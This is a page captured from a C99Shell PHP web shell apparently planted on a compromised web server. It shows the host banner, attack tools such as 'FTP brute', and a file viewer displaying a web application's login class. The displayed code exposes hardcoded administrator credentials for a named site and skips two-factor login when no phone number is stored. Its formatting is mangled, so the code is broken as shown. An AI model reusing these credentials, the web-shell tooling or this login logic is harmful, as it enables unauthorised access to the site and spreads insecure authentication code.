!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     loginpage.php (36.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once(getabspath("classes/cipherer.php"));
/**
 * Class for login page
 *
 */
class LoginPage extends RunnerPage
{
    public 
$auditObj null;

    
// autologin on session expired
    
public $notRedirect false;

    public 
$rememberPassword 0;

    public 
$var_pUsername "";
    public 
$var_pPassword "";
    public 
$action "";

    public 
$redirectAfterLogin false;

    protected 
$myurl "";

    public 
$loggedWithSP false;

    protected 
$loggedByCredentials false;
    public 
$messageType MESSAGE_ERROR;

    
/*** 2 factorauth*/
    
public $twoFactAuth false;
    public 
$SMSCode;

    protected 
$SMSCodeSent;
    protected 
$phoneNumber;
    protected 
$pnoneNotInQuery;
    protected 
$skipSecondStep;
    
/***/

    
protected $securityPlugins;

    protected 
$controlsData = array();

    
/**
     * @constructor
     */
    
function __construct(&$params)
    {
        
parent::__construct($params);


        
$this->auditObj GetAuditObject();

        if( 
$this->getLayoutVersion() === PD_BS_LAYOUT )
        {
            
$this->headerForms = array( "top" );
            
$this->footerForms = array( "footer" );
            
$this->bodyForms = array( "above-grid""grid""superbottom" );
        }
        else
        {
            
$this->formBricks["header"] = "loginheader";
            
$this->formBricks["footer"] = array( "loginbuttons""facebookbutton""google_signin" );
            
$this->assignFormFooterAndHeaderBrickstrue );
        }

        
$this->initMyURL();
        
$this->initCredentials();
        
$this->body = array( "begin" =>"""end" => "" );

        
$this->initSecurityPlugins();
    }

    protected function 
initSecurityPlugins()
    {
        
$this->securityPlugins Security::GetPlugins();

        
$this->addJSSettingsForSP();
    }

    protected function 
addJSSettingsForSP()
    {
        foreach( 
$this->securityPlugins as $sp )
        {
            
$settings $sp->getJSSettings();
            foreach( 
$settings as $sKey => $s )
            {
                
$this->pageData$sKey ] = $s;
            }
        }
    }

    
/**
     * Set the 'connection' property
     */
    
protected function setTableConnection()
    {
        global 
$cman;
        
$this->connection $cman->getForLogin();
    }

    
/**
     * Set the 'cipherer' property
     */
    
protected function assignCipherer()
    {
        
$this->cipherer RunnerCipherer::getForLogin();
    }

    
/**
     *
     */
    
public function setSessionVariables()
    {
        
parent::setSessionVariables();
        
$_SESSION["pluginLogin"] = false;
    }

    
/**
     *
     */
    
public function process()
    {
        global 
$globalEvents;

        if( 
$globalEvents->exists("BeforeProcessLogin") )
            
$globalEvents->BeforeProcessLogin$this );

        if ( 
$this->twoFactAuth )
        {
            
$this->hideItemType("remember_password");
            
$this->hideItemType("continue_login_button");
        }

        if( 
$this->action == "resendCode" && $this->isFirstAuthStepSuccessful() )
        {
            
$this->SMSCodeSent $this->sendCodeBySMS();
            
$this->reportFirstAuthStepResulttrue );
            return;
        }

        if( 
$this->action == "verifyCode" && $this->isFirstAuthStepSuccessful() )
        {
            
$verified $this->doVerifySMSCode$this->SMSCode );
            
$this->reportSecondAuthStepResult$verified );
            return;
        }

        if( 
$this->action == "logout" )
        {
            
$this->Logouttrue );
            return;
        }

        if( 
$this->action == "pluginLogin" )
        {
            
$plugin $this->securityPluginspostvalue("plugin") ];
            if( 
$plugin )
            {
                
$logged $this->LoginWithSP$pluginpostvalue('plugin_token') );
                if ( 
$this->mode == LOGIN_POPUP ) {
                    
$this->reportLogStatus$logged );
                    return;
                }

                if( 
$logged ) {
                    
$this->redirectAfterSuccessfulLogin();
                    return;
                }
                
// stay and show errors
            
}
        }

        
$this->refineMessage();
        
        
$this->readControls();
        
$this->prepareEditControls();

        if( 
$this->isActionSubmit() )
        {
            if( 
$this->isLoginAccessAllowed() )
            {
                
$this->setCredentialsCookie$this->var_pUsername$this->var_pPassword );
                
$this->loggedByCredentials $this->doLoginRoutine();
            }

            if( 
$this->twoFactAuth && $this->mode != LOGIN_EMBEDED )
            {
                
$this->reportFirstAuthStepResult$this->loggedByCredentials );
                return;
            }

            if( 
$this->loggedByCredentials && $this->mode == LOGIN_SIMPLE )
            {
                
$this->redirectAfterSuccessfulLogin();
                return;
            }

            if( 
$this->mode == LOGIN_POPUP || $this->mode == LOGIN_EMBEDED && !$this->twoFactAuth )
            {
                
$this->reportLogStatus$this->loggedByCredentials );
                return;
            }

            if ( 
$this->twoFactAuth )
            {
                if ( 
$this->loggedByCredentials )
                    
$this->hideMainLoginItems();
                else
                    
$this->hideSMSFormItems();
            }
        }
        else
        {
            
$this->hideSMSFormItems();

            if( 
$this->mode == LOGIN_SIMPLE ) {
                
//    try logging in with saved credentials
                
if( !isLogged() || isLoggedAsGuest() )
                {
                    
Security::tryRelogin();
                }
                if( 
isLogged() && !isLoggedAsGuest() )
                {
                    
HeaderRedirect("menu");
                    return;
                }
            }
        }

        
$_SESSION["MyURL"] = $this->myurl;
        
$this->assignFieldBlocksAndLabels();

        if( 
$this->mode != LOGIN_EMBEDED && $this->captchaExists() )
            
$this->displayCaptcha();

        
$this->addCommonJs();
        
$this->addButtonHandlers();

        
$this->fillSetCntrlMaps();
        
$this->doCommonAssignments();

        
$this->showPage();
    }

    protected function 
hideMainLoginItems()
    {
        
$this->hideItemType("login_button");
        
$this->hideItemType("username");
        
$this->hideItemType("password");
        
$this->hideItemType("username_label");
        
$this->hideItemType("password_label");
        
$this->hideItemType("guest_login");
    }
    
    protected function 
hideSMSFormItems()
    {
        if ( 
$this->twoFactAuth ) {
            
$this->hideItemType("auth_code");
            
$this->hideItemType("verify_button");
            
$this->hideItemType("resend_button");
        }
    }

    protected function 
isActionSubmit()
     {
        return 
$this->action == "Login";
     }

    
/**
     * @return Boolean
     */
    
protected function doLoginRoutine()
    {
        
$this->readControls();
        
        if( !
$this->callBeforeLoginEvent() )
            return 
false;

        
$logged $this->LogIn$this->var_pUsername$this->var_pPassword );

        if( !
$logged )
        {
            
$this->callAfterUnsuccessfulLoginEvent();
            return 
false;
        }

        if( 
$this->twoFactAuth )
        {
            
$this->SMSCodeSent $this->sendCodeBySMS();

            if( 
$this->SMSCodeSent && $this->skipSecondStep )
            {
                
// phone filed value is empty or not a valid phone number make a user logged in
                
$this->doVerifySMSCode"" );
            }
        }
        else
            
$this->callAfterSuccessfulLoginEvent();

        return 
true;
    }

    
/**
     * @return Boolean
     */
    
protected function isFirstAuthStepSuccessful()
    {
        if( !
$this->twoFactAuth )
            return 
false;

        if( isset( 
$_SESSION["firsAuthStepData"] ) )
            return 
true;

        return 
false;
    }

    
/**
     * @param Boolean logged
     */
    
protected function reportFirstAuthStepResult$logged )
    {
        if( 
$this->skipSecondStep )
        {
            
$this->reportSecondAuthStepResulttrue );
            exit();
        }

        
$returnJSON = array();

        
$returnJSON["message"] = $this->message;
        
$returnJSON["success"] = $logged && $this->SMSCodeSent;
        
$returnJSON["logged"] = $logged;
        if( 
$logged )
        {
            
$parts $this->getSecondStepMarkupBlocks$this->SMSCodeSent );
            
$returnJSON["loginfields"] = $parts["loginfields"];
            
$returnJSON["loginbuttons"] = $parts["loginbuttons"];
        }

        echo 
printJSON$returnJSON );
        exit();
    }

    
/**
     * @param Boolean codeSent
     */
    
protected function doAssignForSecondAuthStep$codeSent )
    {
        
$this->xt->assign("id"$this->id);
        
$this->xt->assign("user_code"true);
        if( !
$codeSent )
            
$this->xt->assign("userCodeFieldClass""rnr-hiddenblock");

        
$this->xt->assign("user_code_buttons"true);
        if( !
$codeSent )
            
$this->xt->assign("verifyButtonClass""rnr-invisible-button");

        if( 
$this->pnoneNotInQuery )
            
$this->xt->assign("resendButtonClass""rnr-invisible-button");
    }

    
/**
     * @param Boolean codeSent
     * @return Array
     */
    
protected function getSecondStepMarkupBlocks$codeSent )
    {
        
$this->doAssignForSecondAuthStep$codeSent );

        
$parts = array();
        
$parts["loginfields"] = $this->xt->fetch_loaded("user_code");
        
$parts["loginbuttons"] = $this->xt->fetch_loaded("user_code_buttons");
        return 
$parts;
    }

    
/**
     * @return String
     */
    
protected function getMaskedPhone()
    {
        
$number $this->getPhoneNumber();
        
$smsMaskLength GetGlobalData("smsMaskLength"4);

        
$astrixStringLength strlen$number ) - $smsMaskLength;
        
$number preg_replace"/[^+]/""*"substr($number0$astrixStringLength) ).substr($number$astrixStringLength);

        return 
$number;
    }

    
/**
     * @return Boolean
     */
    
protected function checkPhoneFieldInQuery()
    {
        global 
$cLoginTable;

        
$phoneField GetGlobalData("strPhoneField""");
        if( !
array_key_exists$phoneField$_SESSION["firsAuthStepData"] ) )
        {
            
$this->pnoneNotInQuery true;
            
$this->message "Two factor authorization is not possible."
                
." Add <b>".$phoneField."</b> field to the <b>".$cLoginTable."</b> table SQL query.";

            return 
false;
        }

        return 
true;
    }

    
/**
     * @return Boolean
     */
    
protected function sendCodeBySMS()
    {
        if( !
$this->checkPhoneFieldInQuery() )
            return 
false;

        
$number $this->getPhoneNumber();
        if( 
strlen$number ) < )
        {
            
// phone filed value is empty or not a valid phone number, make a user logged in
            
$this->skipSecondStep true;

            if( 
$this->mode == LOGIN_EMBEDED )
                
$this->pageData["twoStepEmbedRedirect"] = $this->getLoggedInRedirectUrl();

            return 
true;
        }

        
$smsCode generateUserCodeGetGlobalData("smsCodeLength"6) );
        
$_SESSION["smsCode"] = $smsCode;
        
//$_SESSION["smsCode"] = "123456"; //Debug

        
$smsText myfile_get_contentsgetabspath("email/".mlang_getcurrentlang()."/twofactorauth.txt"), "r");
        
$smsText str_replace"%code%"$smsCode$smsText );

        
//$ret = array(); //Debug
        //$ret["success"] = true; //Debug
        
$ret runner_sms$number$smsText );
        if( !
$ret["success"] )
        {
            
$this->message "Error sending message"." ".$ret["error"];
        }
        else
        {
            
$this->messageType MESSAGE_INFO;
            
$this->message str_replace"%phone%"$this->getMaskedPhone(), "A text message with your code has been sent to: %phone%" );
        }

        return 
$ret["success"];
    }

    
/**
     * @param String code
     * @return Boolean
     */
    
protected function doVerifySMSCode$code )
    {
        global 
$globalEvents$cUserNameField$cPasswordField$cDisplayNameField;

        if( !
$this->twoFactAuth )
            return;

        if( 
$this->skipSecondStep )
            
$verified true;
        else
            
$verified $this->verifySMSCode$code );

        
$data $_SESSION["firsAuthStepData"];
        
$this->var_pUsername $data$cUserNameField ];
        
$this->var_pPassword $data$cPasswordField ];

        if( 
$verified )
        {
            unset( 
$_SESSION["smsCode"] );
            unset( 
$_SESSION["firsAuthStepData"] );

            
$_SESSION["UserID"] = $this->var_pUsername;
            
$userName $data$cDisplayNameField ] != '' $data$cDisplayNameField ] : $this->var_pUsername;
            
$_SESSION["UserName"] = runner_htmlspecialchars$userName );
            
$_SESSION["AccessLevel"] = ACCESS_LEVEL_USER;

            
SetAuthSessionData$this->var_pUsername$data$this->var_pPassword$thistrue );
        }
        else
        {
            
$this->callAfterUnsuccessfulLoginEvent();
        }

        return 
$verified;
    }

    
/**
     * @param String code
     * @return Boolean
     */
    
protected function verifySMSCode$code )
    {
        return 
$code == $_SESSION["smsCode"];
    }

    
/**
     * @param Boolean
     */
    
protected function reportSecondAuthStepResult$verified )
    {
        
$returnJSON = array();
        
$returnJSON["success"] = $verified;

        
$returnJSON["secondStepSkipped"] = $this->skipSecondStep;

        if( !
$verified )
            
$returnJSON["message"] = "Wrong code";
        else
        {
            if( 
$this->mode == LOGIN_POPUP )
                
$returnJSON["message"] = "You have successfully logged in.";

            
$returnJSON["redirect"] = $this->getLoggedInRedirectUrl();

            if( 
$this->notRedirect )
            {
                
$this->xt->assign("continuebutton_attrs"'href="#" id="continueButton"');
                
$this->xt->assign("continue_button"true);
                
$returnJSON["loginbuttons"] = $this->xt->fetch_loaded("continue_button");
            }
        }

        echo 
printJSON$returnJSON );
        exit();
    }

    
/**
     * @return String
     */
    
protected function getLoggedInRedirectUrl()
    {
        if( 
$this->myurl )
            return 
$this->myurl. (strpos($this->myurl'?') !== FALSE '&a=login' '?a=login');

        return 
GetTableLink("menu");
    }

    
/**
     * @return String
     */
    
protected function getPhoneNumber()
    {
        if( 
$this->phoneNumber )
            return 
$this->phoneNumber;

        if( isset( 
$_SESSION["firsAuthStepData"] ) )
            
$data $_SESSION["firsAuthStepData"];
        else
            
$data $this->getUserData$this->var_pUsername$this->var_pPassword );

        if( !
$data )
            return 
"";

        
$number $dataGetGlobalData("strPhoneField""") ];
        
$number preg_replace("/[^\+\d]/"""$number);

        if( 
$number[0] == "+" && strlen$number ) > 10 )
            
$this->phoneNumber $number;
        else
            
$this->phoneNumber GetGlobalData("strCounryCode""").$number;

        return 
$this->phoneNumber;
    }

    
/**
     *
     */
    
protected function refineMessage()
    {
        if( 
$this->message == "expired" )
            
$this->message "Your session has expired." " " "Please login again.";
        elseif( 
$this->message == "invalidlogin" )
            
$this->message "Invalid Login";
        elseif( 
$this->message == "loginblocked" && strlen$_SESSION["loginBlockMessage"] ) )
            
$this->message $_SESSION["loginBlockMessage"];

        if( 
$this->isBootstrap() && $this->message )
        {
            
$this->xt->assign("message_class""alert-danger" );
        }

        unset( 
$_SESSION["loginBlockMessage"] );
    }

    
/**
     *
     */
    
protected function initMyURL()
    {
        
$this->myurl = @$_SESSION["MyURL"];

        if( 
$this->redirectAfterLogin || $this->mode == LOGIN_POPUP || $this->action == "Login" || $this->twoFactAuth ) {
            
// save $this->myurl value
        
}
        else
        {
            
//    discard. Go to menu.php after login
            
$this->myurl "";
        }
    }

    
/**
     * run AfterSuccessfulLogin event
     */
    
protected function callAfterSuccessfulLoginEvent()
    {
        
//login succeccful
        // dummy
        // if login method is not AD then ASL event fires in SetAuthSessionData
    
}

    
/**
     *
     */
    
protected function redirectAfterSuccessfulLogin()
    {
        unset( 
$_SESSION["MyURL"] );

        if( 
$this->myurl )
            
header("Location: ".$this->myurl);
        else
            
HeaderRedirect("menu");
    }

    
/**
     * Run AfterUnsuccessfulLogin event
     */
    
public function callAfterUnsuccessfulLoginEvent()
    {
        global 
$globalEvents;

        
$message "";

        
// invalid login
        
if( $globalEvents->exists("AfterUnsuccessfulLogin") )
            
$globalEvents->AfterUnsuccessfulLogin$this->var_pUsername$this->var_pPassword$message$this$this->controlsData );

        if( 
$message == "" && !$this->message )
            
$this->message "Invalid Login";
        else if( 
$message )
            
$this->message $message;
    }


    
/**
     * @param Boolean logged
     */
    
protected function reportLogStatus$logged )
    {
        
$returnJSON = array();

        
$returnJSON["success"] = $logged;

        if( 
$this->message )
        {
            
$returnJSON['message'] = $this->message;
        }
        elseif (
$logged)
        {
            
$returnJSON['redirect'] = $this->getLoggedInRedirectUrl();
        }

        if( 
$this->mode == LOGIN_EMBEDED )
        {
            if( 
strlen$_SESSION["loginBlockMessage"] ) )
                
$returnJSON['messageParam'] = "loginblocked";
            else
                
$returnJSON['messageParam'] = "invalidlogin";
        }

        echo 
printJSON($returnJSON);
        exit();
    }


    
/**
     * @return Boolean
     */
    
protected function isLoginAccessAllowed()
    {
        if( !
$this->auditObj )
            return 
true;

        if( !
$this->auditObj->LoginAccess() )
            return 
true;

        
$this->message mysprintf"Access denied for %s minutes", array($this->auditObj->LoginAccess()) );
        
$_SESSION["loginBlockMessage"] = $this->message;

        return 
false;
    }

    
/**
     * run before login event
     * @return Boolean
     */
    
protected function callBeforeLoginEvent$data null )
    {
        global 
$globalEvents;

        if( !
$globalEvents->exists("BeforeLogin") )
            return 
true;

        
$message "";
        if( !
$data ) {
            
$data = &$this->controlsData;
        }
        if( !
$data ) {
            
$data = array();
        }
        
$ret $globalEvents->BeforeLogin$this->var_pUsername$this->var_pPassword$message$this$data );

        if( 
$message )
            
$this->message $message;

        if( !
$ret )
        {
            
$this->callAfterUnsuccessfulLoginEvent();
        }

        return 
$ret;
    }

    
/**
     * @param String pUsername
     * @param String pPassword
     * @return Boolean
     */
    
protected function logInHardcoded$pUsername$pPassword$skipCheck false$fireEvents true )
    {
        
//     username and password are hardcoded
        
$cUserName "itceadmin";
        
$cPassword "itceadmin@123";

        if( 
$skipCheck || $this->checkUsernamePassword$pUsername$pPassword ) )
        {
            
$_SESSION["UserID"] = $cUserName;
            
$_SESSION["UserName"] = runner_htmlspecialchars$cUserName );
            
$_SESSION["AccessLevel"] = ACCESS_LEVEL_USER;
            if( 
$this->auditObj )
            {
                
$this->auditObj->LogLogin$pUsername );
                
$this->auditObj->LoginSuccessful();
            }

            
$dummy = array();
            
SetAuthSessionData($pUsername$dummy$pPassword$this$fireEvents );
            return 
true;
        }
        if( 
$fireEvents )
            
$this->doAfterUnsuccessfulLog$pUsername );
        return 
false;
    }

    
/**
     * @param String username
     */
    
public function doAfterUnsuccessfulLog$username )
    {
        if( 
$this->auditObj )
        {
            
$this->auditObj->LogLoginFailed$username );
            
$this->auditObj->LoginUnsuccessful$username );
        }
    }

    
/**
     * @param String username
     * @param String password
     * @return Boolean
     */
    
public function checkUsernamePassword$username$password )
    {
        global 
$globalSettings$caseInsensitiveUsername;

        if( 
$globalSettings["nLoginMethod"] == SECURITY_NONE )
            return 
false;

        if( 
$globalSettings["nLoginMethod"] == SECURITY_HARDCODED )
        {
            return 
$password == $globalSettings["Password"] && ( $username == $globalSettings["UserName"]
                || 
$caseInsensitiveUsername && strtoupper$username ) == strtoupper$globalSettings["UserName"] ) );
        }

        if( 
$globalSettings["nLoginMethod"] == SECURITY_TABLE )
        {
            
$data $this->getUserData$username$password );
            return 
$data true false;
        }

        return 
false;
    }

    
/**
     * @param String username
     * @param String password
     * @param Boolean skipPasswordCheck
     */
    
public function getUserData$username$password$skipPasswordCheck false )
    {
        global 
$cPasswordField$cDisplayNameField$globalSettings$caseInsensitiveUsername;

        if( 
$globalSettings["nLoginMethod"] != SECURITY_TABLE )
            return 
false;

        
$loginSet ProjectSettings::getForLogin();
        
$cipherer RunnerCipherer::getForLogin$loginSet );
        
$bcrypted = ( $globalSettings["bEncryptPasswords"] && $globalSettings["nEncryptPasswordMethod"] == );
        
$originalPassword $password;

        
$strSQL $this->getSelectSQL$skipPasswordCheck || $bcrypted$username$password$loginSet$cipherer );
         
$data $cipherer->DecryptFetchedArray$this->connection->query$strSQL )->fetchAssoc() );
        if ( 
$data && $skipPasswordCheck || $this->verifyUserFetchedData($bcrypted$data$username$password$originalPassword) )
        {
            return 
$data;
        }

        return 
false;
    }

    
/**
     * Login method
     * @param String pUsername
     * @param String pPassword
     * @return Boolean
     */
    
public function LogIn$pUsername$pPassword$skipPasswordCheck false$fireEvents true )
    {
        if( !
$skipPasswordCheck && !$this->checkCaptcha() )
            return 
false;

        return 
$this->logInHardcoded$pUsername$pPassword$skipPasswordCheck$fireEvents );
    }

    
/**
     * @return Boolean
     */
    
protected function verifyUserFetchedData$bcrypted$data$strUsername$processedPass$rawPass )
    {
        global 
$cUserNameField$cPasswordField;

        if( !
$data )
            return 
false;

        if( 
$bcrypted )
            return 
passwordVerify$rawPass$data$cPasswordField ] );

        return 
$this->pSet->getCaseSensitiveUsername( @$data$cUserNameField ] ) == $this->pSet->getCaseSensitiveUsername$strUsername )
                && @
$data$cPasswordField ] == $processedPass;
    }

    
/**
     * @return String
     */
    
protected function getSelectSQL$skipPasswordCheck$strUsername$strPassword$loginSet$cipherer )
    {
        global 
$cUserNameFieldType$cPasswordFieldType$cUserNameField$cPasswordField;

        
$passWhere "";
        
$activateWhere "";

        if( !
$skipPasswordCheck )
        {
            
$strPassword $this->getSqlPreparedLoginTableValue$strPassword$cPasswordField$cPasswordFieldType$cipherer );
            if( 
$loginSet )
                
$passWhere " and "$this->connection->comparisonSQL$this->getFieldSQLDecrypt($cPasswordField), $strPasswordfalse );
            else
                
$passWhere " and "$this->connection->comparisonSQL$this->connection->addFieldWrappers($cPasswordField), $strPasswordfalse );
        }


        
$strUsername $this->getSqlPreparedLoginTableValue$strUsername$cUserNameField$cUserNameFieldType$cipherer );
        
        if( 
$loginSet )
        {
            
$controlsWhere $this->getControlsWhere$cipherer );
            
            
$where $this->connection->comparisonSQL(
                
$this->getFieldSQLDecrypt($cUserNameField),
                
$strUsername,
                
$this->pSet->isCaseInsensitiveUsername()
                )
                . 
$passWhere $activateWhere $controlsWhere;

            
// don't remove $tempSQLQuery. PHP 5.0 compatibility
            
$tempSQLQuery $loginSet->GetTableData(".sqlquery");
            return 
$tempSQLQuery->buildSQL_default( array( $where ) );
        }

        return 
"select * from ".$this->connection->addTableWrappers("")
                .
" where ".$this->connection->addFieldWrappers($cUserNameField)."=".$strUsername.$passWhere.$activateWhere;
    }

    
/**
     * Logout
     * @param Boolean redirectToLogin
     */
    
public function Logout($redirectToLogin false)
    {
        global 
$globalEvents;

        if( 
$this->auditObj )
            
$this->auditObj->LogLogout();

        
$username $_SESSION["UserID"] != "Guest" $_SESSION["UserID"] : "";

        unset( 
$_SESSION["MyURL"] );

        
Security::clearSecuritySession();

        foreach( 
$this->securityPlugins as $sp ) {
            
$sp->onLogout();
        }

        if( 
$globalEvents->exists("AfterLogout") )
            
$globalEvents->AfterLogout$username );

        
// redirect to login page and show message
        
if ($redirectToLogin)
        {
            
header("Location: ".GetTableLink("login"));
            exit();
        }
    }

    
/**
     * @param String url
     */
    
function LogoutAndRedirect($url "")
    {
        
$this->Logout();

        if (
$url == "")
            
$url GetTableLink("menu");

        
header("Location: ".$url);
        exit();
    }

    
/**
     *    @param Object $plugin - Security Plugin object
     *    @param string $token - token received from third-party server
     *    @param Boolean $addNewUser - add a new user into the database if none exists
     */
    
public function LoginWithSP$plugin$token$addNewUser true )
    {
        global 
$cUserNameField$cDisplayNameField$cPasswordField;

        
//info may contain following keys: 'id', 'name', 'email'
        
$info $plugin->getUserInfo$token );
        if ( !
$info )
        {
            
$this->message $plugin->getError();
            return 
false;
        }

        
$name $info["name"];
        
$email $info["email"];
        
$userIdField GetGlobalData("SpUserIdField""");

        
// check if the user already has a record in the users table
        // search by SpUserIdField field first, then by username

        
$sqlHead "select * from ".$this->connection->addTableWrappers"" ) ." where ";
        
$sql = array();
        if( 
$userIdField ) {
            
$sql []= $sqlHead
                
.$this->connection->addFieldWrappers$cUserNameField )
                .
"="
                
.$this->connection->prepareString$info["id"] );
        }
        
$sql []= $sqlHead
            
.$this->connection->addFieldWrappers$cUserNameField )
            .
"="
            
.$this->connection->prepareString$info["id"] );

        foreach( 
$sql as $s ) {
            
$data $this->connection->query$s )->fetchAssoc();
            if( 
$data )
                break;
        }

        if( 
$data )
        {
            
// user fetched
            
$pPassword $data$cPasswordField ];
            
$pDisplayUsername $info["name"]
                ? 
$info["name"]
                : 
$data$cDisplayNameField ];
        }
        else if( 
$addNewUser )
        {
            
// insert new user
            
$data = array();

            
$pPassword generatePassword(10);
            if( 
GetGlobalData("bEncryptPasswords") && !$this->cipherer->isFieldEncrypted$cPasswordField ) ) {
                
$pPassword $this->getPasswordHash$pPassword );
            }
            
$data$cPasswordField ] = $pPassword;

            
//    fill in both username and userid fields
            
$data$cUserNameField ] = $info["id"];
            if( 
$userIdField )
                
$data$userIdField ] = $info["id"];

            if( 
$cDisplayNameField && $cDisplayNameField != $cUserNameField )
                
$data$cDisplayNameField ] = $info["name"];

            
$emailField GetEmailField();
            if( 
$emailField && $emailField != $cUserNameField )
                
$data$emailField ] = $info["email"];

    
            
$blobfields = array();
            
$retval DoInsertRecord""$data$blobfields$this );
            if( !
$retval )
                return 
false;

            
$pDisplayUsername $info"name" ];
        } else {
            return 
false;
        }

        if( !
$this->callBeforeLoginEvent$info ) ) {
            return 
false;
        }

        
$this->loggedWithSP true;
        
$_SESSION["pluginLogin"] = true;

        
DoLoginfalse$info["id"], $pDisplayUsername""ACCESS_LEVEL_USER$pPassword$this );
        
SetAuthSessionData$info["id"], $data$pPassword$pageObject );
        return 
true;
    }

    
/**
     * Check is captcha exists on current page
     * @intellisense
     */
    
function captchaExists()
    {
        return 
$this->pSet->hasCaptcha();
    }

    
/**
     * @return String
     */
    
function getCaptchaId()
    {
        return 
"login";
    }

    
/**
     * @param String messageText
     */
    
public function setDatabaseError$messageText )
    {
        
$this->message $messageText;
    }

    
/**
     *
     */
    
public function setCredentialsCookie($pUsername$pPassword)
    {
        
//    set jwt cookie
        
if( $this->rememberPassword ) {
            
$secondsIn30 30 1440 60;
            
setProjectCookie("token"jwt_encode( array( "username" => $pUsername ), $secondsIn30 ), time() + $secondsIn30true );
        } else {
            
setProjectCookie("token"""time() - 1true );
        }

    }

    
/**
     *
     */
    
public function setLangParams()
    {
    }

    
/**
     *
     */
    
protected function assignBody()
    {
        global 
$pagesData;
        
$this->body["begin"] .= GetBaseScriptsForPage(false);
        
$this->body["begin"] .= "<form method=\"post\" action='".GetTableLink("login")."' id=\"form".$this->id."\" name=\"form".$this->id."\">
                                <input type=\"hidden\" name=\"btnSubmit\" value=\"Login\">"
;
        
$this->body["end"] .= "</form>";

        
$this->body['end'] .= '<script>';
        
$this->body['end'] .= "window.controlsMap = ".my_json_encode($this->controlsHTMLMap).";";
        
$this->body['end'] .= "window.viewControlsMap = ".my_json_encode($this->viewControlsHTMLMap).";";
        
$this->body['end'] .= "Runner.applyPagesData( ".my_json_encode$pagesData )." );";
        
$this->body['end'] .= "window.settings = ".my_json_encode($this->jsSettings).";</script>";

        
$this->body["end"] .= "<script type=\"text/javascript\" src=\"".GetRootPathForResources("include/runnerJS/RunnerAll.js?34702")."\"></script>";
        
$this->body["end"] .= '<script>'.$this->PrepareJS()."</script>";

        
$this->xt->assignbyref("body"$this->body);
    }

    
/**
     *
     */
    
protected function assignSPButtons()
    {
        if ( 
$this->twoFactAuth )
            return;

        if( 
$this->getLayoutVersion() === PD_BS_LAYOUT )
        {
            
$this->xt->assign("facebookbutton"true);
            
$this->xt->assign("google_signin"true);
        }

        if( 
GetEmailField() )
            
$this->xt->assign("fb_loginbutton_params"" data-scope=\"email\" ");
    }

    
/**
     *
     */
    
public function doCommonAssignments()
    {
        global 
$cLoginTable;

        
$this->xt->assign("id"$this->id);
        
$this->xt->assign("loginlink_attrs"'id="submitLogin'.$this->id.'"');

        if( 
$this->loggedByCredentials && $this->mode == LOGIN_EMBEDED && $this->twoFactAuth && $this->skipSecondStep )
            return;

        
$this->assignSPButtons();

        
$this->setLangParams();

        
$rememberbox_checked "";
        if( 
$rememberPassword || @$_COOKIE["token"] )
            
$rememberbox_checked " checked";

        
$this->xt->assign("rememberbox_attrs", ($this->is508 "id=\"remember_password\" " "")
            .
"name=\"remember_password\" value=\"1\"".$rememberbox_checked);

        
$this->xt->assign"guestlink_block"$this->mode == LOGIN_SIMPLE && guestHasPermissions() && isGuestLoginAvailable() );

        
$this->xt->assign("username_label"true);
        
$this->xt->assign("password_label"true);
        
$this->xt->assign("remember_password_label"true);


        if( 
$this->is508 && !$this->isBootstrap() )
        {
            
$this->xt->assign_section("username_label""<label for=\"username\">""</label>");
            
$this->xt->assign_section("password_label""<label for=\"password\">""</label>");
            
$this->xt->assign_section("remember_password_label""<label for=\"remember_password\">""</label>");
        }

        if( 
$this->message || $this->mode == LOGIN_POPUP || $this->twoFactAuth || $this->securityPlugins )
        {
            
$this->xt->assign("message_block"true);
            if ( 
$this->isBootstrap() )
                
$this->xt->assign("message"runner_htmlspecialchars$this->message ) );
            else
            {
                
$this->xt->assign("message""<div id='login_message' class='message rnr-error'>"
                    
.runner_htmlspecialchars$this->message )."</div>");
            }

            if( 
$this->isBootstrap() )
                
$this->xt->assign("message_class"$this->messageType == MESSAGE_INFO "alert-success" "alert-danger" );

            if( !
$this->message )
                
$this->hideElement("message");
        }

        if( 
strlen$this->var_pUsername ) )
        {
            
$this->xt->assign("username_attrs",($this->is508"id=\"username\" " "")
                .
"value=\"".runner_htmlspecialchars($this->var_pUsername)."\"");
        }
        else if ( !
$this->twoFactAuth )
        {
            
$this->xt->assign("username_attrs",($this->is508 "id=\"username\" " ""));
        }

        else if ( !
$this->twoFactAuth )
        {
            
$this->xt->assign("password_attrs", ($this->is508 " id=\"password\""""));
        }

        if( 
$this->myurl && $_SESSION["MyUrlAccess"] )
            
$this->xt->assign("guestlink_attrs""href=\"".$this->myurl."\"");
        else
            
$this->xt->assign("guestlink_attrs""href=\"".GetTableLink("menu")."\"");


        if( 
$this->loggedByCredentials && $this->mode == LOGIN_EMBEDED && $this->twoFactAuth )
        {
            
$this->doAssignForSecondAuthStep( !$this->pnoneNotInQuery );
            
$this->hideElement("bsloginregister");
        }
        else
        {
            
$this->xt->assign("main_loginfields"true);
            
$this->xt->assign("signin_button"true);
        }

        if( 
$this->mode == LOGIN_POPUP || $this->mode == LOGIN_EMBEDED && $this->twoFactAuth )
        {
            if( 
$this->notRedirect )
            {
                
$continuebutton_attrs 'href="#" id="continueButton"';

                if ( 
$this->getLayoutVersion() !== PD_BS_LAYOUT )
                    
$continuebutton_attrs .= 'style="display:none"';

                
$this->xt->assign("continuebutton_attrs"$continuebutton_attrs);
                
$this->xt->assign("continue_button"true);
            }

            
$this->xt->assign("footer"false);
            
$this->xt->assign("header"false);
            
$this->xt->assign("body"$this->body);

            
$this->xt->assign("registerlink_attrs"'name="RegisterPage" data-table="'.runner_htmlspecialchars($cLoginTable).'"');
            
$this->xt->assign("forgotpasswordlink_attrs"'name="ForgotPasswordPage"');
        }
    }

    
/**
     * Show the page
     */
    
public function showPage()
    {
        global 
$globalEvents;

        if( 
$globalEvents->exists("BeforeShowLogin") )
            
